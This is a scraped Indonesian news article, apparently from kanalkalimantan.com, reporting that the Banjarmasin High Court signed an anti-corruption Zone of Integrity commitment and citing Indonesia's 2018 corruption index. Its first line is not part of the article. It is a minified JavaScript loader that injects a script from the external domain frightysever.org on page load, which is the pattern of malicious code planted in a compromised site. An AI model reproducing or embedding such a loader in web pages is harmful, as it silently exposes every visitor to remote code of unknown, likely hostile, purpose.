(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pengadilan Tinggi (PT) Banjarmasin menandatangani komitmen Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih dan Melayani (WBBM), Rabu (20/3) pagi. Penandatanganan dilakukan dalam rangka mengadakan pencanangan Zona Integritas mewujudkan WBK dan WBBM pada PT Banjarmasin.
Hadir dalam acara ini Sekda Provinsi Kalsel Drs. Abdul Haris Makkie, M.Si, Wakapolda Kalsel Brigjen Aneka Pristafuddin, Kajati Kalsel Ade Adhyaksa, Rektor ULM Prof Sutarto Hadi, Ketua Pengadilan Tinggi Agama, Kakanwil Kemenkumham Kalsel Ferdinand Siagian dan tamu undangan lainnya.
Penandatananan piagam pertama kali dilakukan oleh Ketua PT Banjarmasin, Yohannes Ether Binti, SH, M.Hum. Dalam sambutannya, Yohannes mengatakan sesuai Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Nomor 52 Tahun 2014, pencanangan Zona Integritas ini menjadi langkah awal oleh pihaknya.
“Ini masih langkah awal, baru peraturannnya. Belum lagi harus merubah mindset daripada aparat, ini yang berat. Tapi kita harus mulai mencanangkan ini agar kedepannya kantor ini akan bersih dari apapun yang berbau korupsi,” ujarnya.
Dikatakan Sekdaprov Haris Makkie, Skor Indeks Persepsi Korupsi atau Corruption Perceptions Index (CPI) Indonesia di tahun 2018 naik 1 poin menjadi 38 dari yang sebelumnya 37 di tahun 2017 dan 2016. Hal ini menyebabkan peringkat Indonesia juga naik 7 poin ke posisi ke 89 pada tahun 2018 yang mana pada tahun 2017 menduduki peringkat 96 dunia dari 180 negara.
Menurut Haris Makkie, faktor utama yang memberi pengaruh naiknya indeks persepsi Indonesia adalah upaya reformasi birokrasi yang terus digaungkan oleh pemerintah. Ia juga mengatakannberbagai aspek pelayanan publik terus ditingkatkan kualitasnya. Selain itu kemudahan perizinan, investasi, serta kepastian hukum terus ditingkatkan.
“Zona Integritas ini menjadi bentuk pencegahan dari potensi yang memungkinkan para aparat untuk melakukan tindak korupsi. Jadi ini komitmen kita bersama agar Zona Integritas ini bukan hanya pencanangan tapi juga diterapkan dan diaplikasikan,” ujarnya.
Ketua PT Banjarmasin menegaskan apabila menemukan pegawai kantor PT Banjarmasin melakukan tindakan yang menyimpang untuk tidak segan ditegur. “Merubah kelakukan itu memang susah, tapi kita harus komitmen dengan apa yang sudah kita deklarasikan hari ini. Tidak ada tolerasi terhadap korupsi,” tegas Yohannes Ether Binti, SH, M.Hum. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.